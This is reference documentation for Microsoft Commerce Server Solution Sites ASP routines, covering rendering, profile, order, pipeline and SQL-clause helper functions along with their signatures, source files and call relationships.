This function prepares the HTML that will include hidden properties as INPUT elements with their TYPE attribute set to "HIDDEN".

Definition

Function rowRenderHiddenProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfile,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

Called By

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderLineItemHeader - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of line items in an order.

Definition

Function rowRenderLineItemHeader()

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tblRenderOrderDetailsContents

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderListHeading - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of profile properties, skipping properties that are designated as not to be shown.

Definition

Function rowRenderListHeading()

Defined in File

services\include\render_list.asp

Routines Called

htmRenderBlankSpaces

listCloneProfileSchema

TRTag

Called By

tableRenderMultipleRecords

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderListHeadingForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of orders.

Definition

Function rowRenderListHeadingForOrders()

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderOrdersListContents

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderMessageBoxPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents for the message box page.

Definition

Function rowRenderMessageBoxPageContents(
  byVal arrBody,
  byVal bNumberList
)

Defined in File

services\include\render_messagebox.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderMessageBoxPage

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a property that is accessible to the current user. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.

An additional row is added if there is an error associated with the property. This second row contains three cells: two blank cells followed by a cell in which a validation failure message can be displayed.

Definition

Function rowRenderProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderPrimaryKeyProperty

colRenderProperty

colRenderUniqueKeyProperty

rowRenderPropertyTip

sRenderHTMLPreFixForProperty

TRTag

varGetPropertyValue

Called By

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderPropertyGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row containing a property group heading.

Definition

Function rowRenderPropertyGroup(
  byVal oProperty
)

Defined in File

services\include\render_edit_common.asp

Routines Called

Bold

htmRenderBlankSpaces

TRTag

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderPropertyTip - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function examines the specified property, and if found to have an error associated with it, adds a table row that displays an error message in the third of three cells.

Definition

Function rowRenderPropertyTip(
  byVal oProperty,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderPropertyTip

htmRenderBlankSpaces

TRTag

Called By

rowRenderBlankProperty

rowRenderProperty

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a read-only property. This row contains three cells: blank, the display name, and the value, respectively.

An INPUT element of with TYPE attribute set to "HIDDEN" is also added, which also includes the field name and value as the values of the NAME and VALUE attributes, respectively.

Definition

Function rowRenderReadOnlyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal bValidPostedValues,
  byVal sProfileIDs,
  byVal rsProfile
)

Defined in File

services\include\render_edit_common.asp

Routines Called

cellRenderReadOnlyProperty

iGetCountOfProfiles

varGetValueFromRequestObject

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a pair of text boxes that correspond to a starting and ending date.

Definition

Function rowRenderSearchOptionForDate(
  byVal oProperty,
  byVal dictSearchOptions
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

RenderTextBox

TRTag

Called By

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function allows searching on properties of type DATETIME.

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForInteger - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a list box displaying options appropriate for one of four possible properties: user status, partner services role, order status, and types of dates associated with the order.

Definition

Function rowRenderSearchOptionForInteger(
  byVal sFieldName,
  byVal sDisplayName,
  byVal iFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderUserStatusOptions

TRTag

Called By

rowRenderAdvancedSearchOptionsForOrders

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a text box for entering a string value for which to search.

Definition

Function rowRenderSearchOptionForString(
  byVal sFieldDisplayText,
  byVal sFieldName,
  byVal bFieldMessage,
  byVal iMaxSize,
  byVal varFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

RenderTextBox

TRTag

Called By

rowRenderAdvancedSearchOptionsForOrders

rowRenderSimpleSearchOptionsForOrders

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSimpleSearchOptionsForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render simple search options within the orders form in Partner Services.

Definition

Function rowRenderSimpleSearchOptionsForOrders(
  byVal dictSearchOptions,
  byVal mscsUserProfile
)

Defined in File

services\include\render_orders.asp

Routines Called

rowRenderSearchOptionForString

Called By

formRenderOrderSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderStatusInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains one column in which status information is placed based on the values of the parameters.

Definition

Function rowRenderStatusInfo(
  byVal sStatusField,
  byVal iStatusID,
  byVal iProfileCount,
  byVal bDisplayCount
)

Defined in File

services\include\render_common.asp

Routines Called

FormatOutput

GetRequestString

htmRenderBlankSpaces

RenderText

TRTag

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderList

htmRenderProfilesList

Remarks

This function is used only by Partner and/or Customer Services.


rowsRenderAdvanceSearchOptionsForProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of rows in a table where each row allows advanced search criterion for profiles to be specified.

Definition

Function rowsRenderAdvanceSearchOptionsForProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

listCloneProfileSchema

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

Called By

formRenderProfileSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowsRenderSimpleSearchOptionsForProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of rows in a table where each row allows simple search criterion for profiles to be specified.

Definition

Function rowsRenderSimpleSearchOptionsForProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

listCloneProfileSchema

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

Called By

formRenderProfileSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rsFreeTextSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function performs a free text search and returns the results as a Recordset object. The number of records retrieved is set in the iRecordCount parameter.

Definition

Function rsFreeTextSearch(
  byVal sPhrase,
  byVal iStartingRecord,
  byVal iRecordsToRetrieve,
  byRef iRecordCount
)

Defined in File

include\catalog.asp

Routines Called

sUserCatalogsAsString

Called By

Main (search.asp)


rsGetOrderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the detailed information for the specified order and returns the result as a Recordset object.

Definition

Function rsGetOrderDetails(
  byVal sID
)

Defined in File

services\include\requisition.asp

Routines Called

GetRequestString

Called By

CheckIfOrderExists

htmRenderOrderDetailsForIDs

Remarks

This function is used only by Partner and/or Customer Services.


rsGetOrdersList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves orders based on the specified filter criteria and returns the result as a Recordset object.

Definition

Function rsGetOrdersList(
  byVal dictSearchOptions,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\requisition.asp

Routines Called

EnsureUserProfile

Called By

PrepareOrderList

Remarks

This function is used only by Partner and/or Customer Services.


rsGetOrgDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves detailed information about the specified organization and returns the result as a Recordset object.

Definition

Function rsGetOrgDetails(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

rsGetProfileByKey

Called By

rsGetProfileDetails

Remarks

This function is used only by Partner and/or Customer Services.


rsGetProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the specified profile and returns it in a Recordset object.

Definition

Function rsGetProfile(
  byVal sProfileID,
  byVal sProfileType,
  byVal bForceDBLookUp
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

bAddUserToGroup

bCheckIfProfileExists

bRemoveUserFromGroup

FetchData (_setadrs.asp)

FetchData (newaddr.asp)

iValidateSubmittedRegistrationData

ValidateSubmittedLoginData

Remarks

The bForceDBLookUp parameter is used to force a database lookup, overruling the value in the variable m_iGlobalProfileLookUpOption.


rsGetProfileByKey - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the profile specified by the passed key name/value pair, and returns it in a Recordset object.

Definition

Function rsGetProfileByKey(
  byVal sKeyName,
  byVal sKeyValue,
  byVal sProfileType,
  byVal bForceDBLookUp
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

GetOrgAttributeFromID

mscsUserCatalogsetID

rsGetOrgDetails

rsGetUserDetails

SaveUserPropertyForID

Remarks

The bForceDBLookUp parameter is used to force a database lookup, overruling the value in the variable m_iGlobalProfileLookUpOption.


rsGetProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves detailed information about the specified user or organization profile and returns the result as a Recordset object. It serves as a dispatch function for the functions rsGetOrgDetails and rsGetUserDetails, which do the real work.

Definition

Function rsGetProfileDetails(
  byVal sProfileIDs
)

Defined in File

services\include\get_profiles.asp

Routines Called

rsGetOrgDetails

rsGetUserDetails

sGetThisPageProperty

Called By

bProfileHasChanged

bSaveProfileAndRedirect

CheckIfProfilesExist

htmRenderChangePasswordPage

htmRenderEditPage

PrepareSaveProfiles

UpdateSelectActionPropertyName

Remarks

This function is used only by Partner and/or Customer Services.


rsGetProfilesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a set of user profiles based on the specified filter criteria, returning the result as a Recordset object.

Definition

Function rsGetProfilesList(
  byVal dictSearchOptions,
  byRef iTotalRecords
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetQualifiedName

GetTableNameAndWhereClause

listCloneProfileSchema

sConstructWHEREclause

Called By

htmRenderProfilesList

Remarks

This function uses ADO to execute a SQL command directly.

This function is used only by Partner and/or Customer Services.


rsGetShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the available shipping methods using the ShippingMethodManager object, and returning the result in a Recordset object containing columns for the shipping method ID, name, and description, respectively.

Definition

Function rsGetShippingMethods()

Defined in File

pickship.asp

Routines Called

None.

Called By

Main (pickship.asp)

PreparePickShipForm


rsGetUserDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the profile for the specified user, and returns the results in a Recordset object.

Definition

Function rsGetUserDetails(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetCurrentUserProfile

rsGetProfileByKey

Called By

GetUserPropertyFromID

rsGetProfileDetails

UpdateUserPasswordProperty

Remarks

This function is used only by Partner and/or Customer Services.


RsToDict - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a new Dictionary object and populates it with the fields of the current record in the passed Recordset object. The field names are used as the dictionary keys, and the field values are assigned to the corresponding keys.

Definition

Function RsToDict(
  rs
)

Defined in File

include\std_util_lib.asp

Routines Called

GetDictionary

Called By

dictGetInitialFieldValues

Main (_setadrs.asp)


RunMtsPipeline - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function runs one of four pipelines on the passed OrderGroup object: Product, Basket, Total, or Checkout. It establishes the appropriate context dictionary and logging support prior to running the pipeline.

Definition

Function RunMtsPipeline(
  byVal sPipeName,
  byVal sPipeLogName,
  byVal mscsOrderGrp
)

Parameters

sPipeName
A string specifying the type of pipeline to run: Product, Basket, Total, or Checkout.
sPipeLogName
A string specifying the name of the pipeline log file to create, if any.
mscsOrderGrp
A reference to the OrderGroup object for which the pipeline will be run.

Return Value

The number returned by the RunPipe method of the OrderGroup object, indicating whether the pipeline succeeded or failed.

Defined in File

include\std_pipeline_lib.asp

Routines Called

CheckOut

GetCurrentUserProfile

GetDictionary

Called By

CheckBasket

CheckOut

GetBasketDetails

InitializeSummaryPage

PreparePickShipForm

RunOrderPipeline

Remarks

The pipeline is run with or without transaction support based on the value of the variable g_sPipelineProgID, as established in the files include\header.asp and include\txheader.asp.

For moreinformation about the use of pipelines in the Solution Sites, see Pipelines.


RunOrderPipeline - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs the Order Processing pipeline and processes any errors it returns.

Definition

Sub RunOrderPipeline(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object for which the pipeline will be run.

Defined in File

_recvpo.asp

Routines Called

GetPipelineLogFile

RunMtsPipeline

Called By

Main (_recvpo.asp)

Remarks

For more information about the use of pipelines in the Solution Sites, see Pipelines for Solution Sites.


S - V

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters S through V.

Routine | File
sAddCriteriaToQuery | services\include\profiles_common.asp
sAddEndDate | services\include\profiles_common.asp
sAddSetClause | services\include\profiles_common.asp
sAddSQLNumber | services\include\profiles_common.asp
sAddSQLString | services\include\profiles_common.asp
sAddStartDate | services\include\profiles_common.asp
sAddWhereClauseForActiveUsers | services\include\save_all_profiles.asp
sAddWhereClauseForPartnerRole | services\include\save_all_profiles.asp
SaveAddressToOrderGroup | addrform.asp
SaveAllSelectedProfiles | services\include\save_all_profiles.asp
SaveBasketAsOrder | include\payment.asp
SaveCommonValueForAllSelectedRecords | services\include\save_one_profile.asp
SaveProfileProperty | services\include\save_one_profile.asp
SaveReadOnlyProperty | services\include\save_one_profile.asp
SaveSAMAccountNameProperty | services\include\save_one_profile.asp
SaveUserAccountControlProperty | services\include\save_one_profile.asp
SaveUserParentDNProperty | services\include\save_one_profile.asp
SaveUserPartnerDeskRoleProperty | services\include\save_one_profile.asp
SaveUserPropertyForID | services\include\save_one_profile.asp
sChopOffLeft | include\std_string_lib.asp
sChopOffRight | include\std_string_lib.asp
sConstructWHEREclause | services\include\profiles_common.asp
SelectAllActionHandler | services\include\edit_handlers.asp
SelectedActionHandlerForList | services\include\list_handlers.asp
SetCreditCardInfo | crdtcard.asp
SetGlobalPagingVariables | services\include\lib.asp
SetKeyOnOrderForms | include\std_ordergrp_lib.asp
SetOptOutList | opt-out.asp
SetPurchaseOrderInfo | po.asp
SetTestCookie | include\std_cookie_lib.asp
SetupAddressForm | newaddr.asp
SetupPage | include\setupenv.asp
sGetAction | services\include\initialize.asp
sGetActiveDirectoryDefaultNamingContext | include\global_siteconfig_lib.asp
sGetAddressName | services\include\logic_orders.asp
sGetAdminsOnly | services\include\save_one_profile.asp
sGetDefaultShippingMethod | pickship.asp
sGetDisplayValueForProperty | services\include\lib.asp
sGetIDFromForm | services\include\initialize.asp
sGetOrderStatusDetails | services\include\lib.asp
sGetPageHeading | services\include\render_common.asp
sGetParentDN | services\include\lib.asp
sGetPaymentMethodString | services\include\logic_orders.asp
sGetPropertyDisplayName | product.asp
sGetReferenceString | include\global_siteterms_lib.asp
sGetScriptError | BDRefresh.asp
sGetSelectActionPropertyName | services\include\lib.asp
sGetSelectedIDs | services\include\initialize.asp
sGetSubAction | services\include\initialize.asp
sGetThisPageProperty | services\include\lib.asp
sGetUserAccessForThisProperty | services\include\lib.asp
sGetUserFullName | services\include\get_profiles.asp
sGetUserIDForNewGuestUser | include\std_access_lib.asp
sGetUserLoginName | services\include\get_profiles.asp
sGetUserPartnerDeskRole | services\include\lib.asp
sGetUsersOnly | services\include\save_one_profile.asp
sGetUserStatus | services\include\lib.asp
sGetWhereClauseForCurrentUser | services\include\delete_profiles.asp
ShowRefinedSearch | stepsrch.asp
ShowSearchMatches | stepsrch.asp
sLookUpPaymentMethod | dispatch.asp
SortDictionaryKeys | include\std_util_lib.asp
Space | include\std_string_lib.asp
sReConstructPageURL | services\include\render_common.asp
sRenderAddress | services\include\render_orders.asp
sRenderHTMLPreFixForProperty | services\include\render_edit_common.asp
sReplaceString | services\include\render_common.asp
StringToBoolean | include\std_string_lib.asp
SubmitUsingBizTalk | include\payment.asp
sUserCatalogsAsString | include\catalog.asp
tableChangePasswordTasks | services\include\render_password.asp
tableRenderBlankProfile | services\include\render_edit_blank.asp
tableRenderChangePasswordContents | services\include\render_password.asp
tableRenderEditPageTasks | services\include\render_edit_common.asp
tableRenderFooterInfo | services\include\render_common.asp
tableRenderListPageTasks | services\include\render_list.asp
tableRenderMessageBoxPageButtons | services\include\render_messagebox.asp
tableRenderMessageBoxPage | services\include\render_messagebox.asp
tableRenderMultipleRecords | services\include\render_list.asp
tableRenderOrdersListContents | services\include\render_orders.asp
tableRenderOrdersListTasks | services\include\render_orders.asp
tableRenderProfiles | services\include\render_edit_common.asp
Tag | include\html_lib.asp
tblOrderDetailsTasks | services\include\render_orders.asp
tblRenderOrderDetailsContents | services\include\render_orders.asp
TDTag | services\include\lib.asp
TerminateConfirmationPage | confirm.asp
TerminatePO | po.asp
TerminateSummaryPage | summary.asp
THTag | services\include\lib.asp
TRTag | services\include\lib.asp
UpdateAddressBook | newaddr.asp
UpdatePasswordActionHandler | services\include\password_handlers.asp
UpdateSelectActionPropertyName | services\include\save_one_profile.asp
UpdateUserAccountControlProperty | services\include\save_all_profiles.asp
UpdateUserPasswordProperty | services\include\save_one_profile.asp
UpdateUserProfile | include\std_profile_lib.asp
ValidateFields | services\include\lib.asp
ValidateSubmittedCreditCardData | crdtcard.asp
ValidateSubmittedLoginData | login\login.asp
ValidateSubmittedPurchaseOrderData | po.asp
varGetPropertyValue | services\include\render_edit_common.asp
varGetValueFromPropertyDictionaries | services\include\render_edit_common.asp
varGetValueFromRequestObject | services\include\render_edit_common.asp
varUpdateValueForCurrentAction | services\include\render_edit_common.asp


sAddCriteriaToQuery - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function builds a Transact-SQL statement.

Definition

Function sAddCriteriaToQuery(
  byRef bFieldSelected,
  byVal oProperty,
  byVal dictSearchOptions
)

Defined in File

services\include\profiles_common.asp

Routines Called

sAddEndDate

sAddSQLNumber

sAddSQLString

sAddStartDate

Called By

sConstructWHEREclause


sAddEndDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an End Date clause.

Definition

Function sAddEndDate(
  byVal sClause,
  byVal sPropertName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

GetODBCTimeStamp

Called By

sAddCriteriaToQuery


sAddSetClause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a Set clause.

Definition

Function sAddSetClause(
  byVal sPropertyName,
  byVal iPropertyType,
  byVal varPropertyValue,
  byRef bFieldUpdated
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


sAddSQLNumber - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND clause for a property of type number.

Definition

Function sAddSQLNumber(
  byVal sClause,
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddCriteriaToQuery

sAddWhereClauseForActiveUsers

sAddWhereClauseForPartnerRole


sAddSQLString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an "AND property LIKE value" clause for a property of type string.

Definition

Function sAddSQLString(
  byVal sClause,
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

HandleSingleQuote

Called By

sAddCriteriaToQuery


sAddStartDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a Start Date clause.

Definition

Function sAddStartDate(
  byVal sClause,
  byVal sPropertName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

GetODBCTimeStamp

Called By

sAddCriteriaToQuery


sAddWhereClauseForActiveUsers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND or WHERE "USER_STATUS = ACCOUNT_ACTIVE" clause.

Definition

Function sAddWhereClauseForActiveUsers(
  byRef bFieldSelected
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

sAddSQLNumber

Called By

GetUserAccountControl


sAddWhereClauseForPartnerRole - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND or WHERE "FIELD_USER_PARTNERDESK_ROLE = iPartnerDeskRole" clause.

Definition

Function sAddWhereClauseForPartnerRole(
  byRef bFieldSelected,
  byVal iPartnerDeskRole
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

sAddSQLNumber

Called By

UpdateUserAccountControlProperty


SaveAddressToOrderGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves an address to an order group.

Definition

Sub SaveAddressToOrderGroup(
  mscsOrderGrp,
  dictFldVals,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetSavedAddressID

SetKeyOnOrderForms

Called By

Main (addrform.asp)


SaveAllSelectedProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves all selected profiles.

Definition

Sub SaveAllSelectedProfiles(
  byRef sStatusField,
  byRef iStatusID,
  byVal dictSearchOptions
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

AddSetClauseAndUpdateUserAccountControl

bCheckIfThePropertyFeatureIsSupported

GetRequestString

GetTableNameAndWhereClause

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sAddSetClause

sConstructWHEREclause

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction


SaveBasketAsOrder - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the basket as an order and deletes old baskets. It also invokes the BizTalk Server as appropriate, and calls the routine Analysis_LogSubmitOrder for analysis purposes.

Definition

Sub SaveBasketAsOrder(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the contents of the basket.

Defined in File

include\payment.asp

Routines Called

Analysis_LogSubmitOrder

GetOrderGroupManager

InvokeBizTalk

Called By

InitializeCreditcardPage

RedirectToPOConfirmation


SaveCommonValueForAllSelectedRecords - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves a common value to all the selected records.

Definition

Sub SaveCommonValueForAllSelectedRecords(
  byVal sSubAction,
  byVal sPropertyName,
  byVal varValue,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

SaveUserPropertyForID

sGetThisPageProperty

Called By

bSaveReadWriteProperty

SaveReadOnlyProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

UpdateSelectActionPropertyName


SaveProfileProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves a property value in a profile.

Definition

Sub SaveProfileProperty(
  byRef rsProfile,
  byVal sPropertyName,
  byVal sValue
)

Defined in File

services\include\save_one_profile.asp

Routines Called

None.

Called By

SaveUserPropertyForID

UpdateSelectActionPropertyName


SaveReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves any read-only property.

Definition

Sub SaveReadOnlyProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProperty

bSaveProperty

Remarks

Generally, this function only handles cases where the property changed is a ChangedBy or ChangedDate field.


SaveSAMAccountNameProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the SAMAccountName property.

Definition

Sub SaveSAMAccountNameProperty(
  byVal sSubAction,
  byRef oProperty,
  byRef rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

Called By

bInsertProfileDetails


SaveUserAccountControlProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User Account Control property (Active Directory specific).

Definition

Sub SaveUserAccountControlProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetActiveUsersOnly

GetRequestString

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

sGetAdminsOnly

sGetUsersOnly

Called By

bInsertProfileDetails

bSaveProfileDetails


SaveUserParentDNProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User ParentDN property (Active Directory specific).

Definition

Sub SaveUserParentDNProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetOrgAttributeFromID

Called By

bInsertProfileDetails


SaveUserPartnerDeskRoleProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User Partner Desk Role property.

Definition

Sub SaveUserPartnerDeskRoleProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfile,
  byVal sProfileIDs,
  byRef arrPrevRole,
  byRef arrCurrentRole
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

GetUserPropertyFromID

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProfileDetails

bSaveProfileDetails


SaveUserPropertyForID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User property for a user ID.

Definition

Sub SaveUserPropertyForID(
  byVal sAttributeName,
  byVal sID,
  byVal sValue
)

Defined in File

services\include\save_one_profile.asp

Routines Called

rsGetProfileByKey

SaveProfileProperty

Called By

SaveCommonValueForAllSelectedRecords


sChopOffLeft - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function deletes the left section of the sValue parameter string corresponding to the sToChopOffLeft parameter string, providing that the sValue parameter string begins with the sToChopOffLeft parameter string.

Definition

Function sChopOffLeft(
  sValue,
  sToChopOffLeft
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


sChopOffRight - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function deletes the right section of the sValue parameter string corresponding to the sToChopOffRight parameter string, providing the sValue parameter string ends with the sToChopOffRight parameter string.

Definition

Function sChopOffRight(
  sValue,
  sToChopOffRight
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


sConstructWHEREclause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a WHERE clause.

Definition

Function sConstructWHEREclause(
  byRef bFieldSelected,
  byRef dictSearchOptions
)

Defined in File

services\include\profiles_common.asp

Routines Called

listCloneProfileSchema

sAddCriteriaToQuery

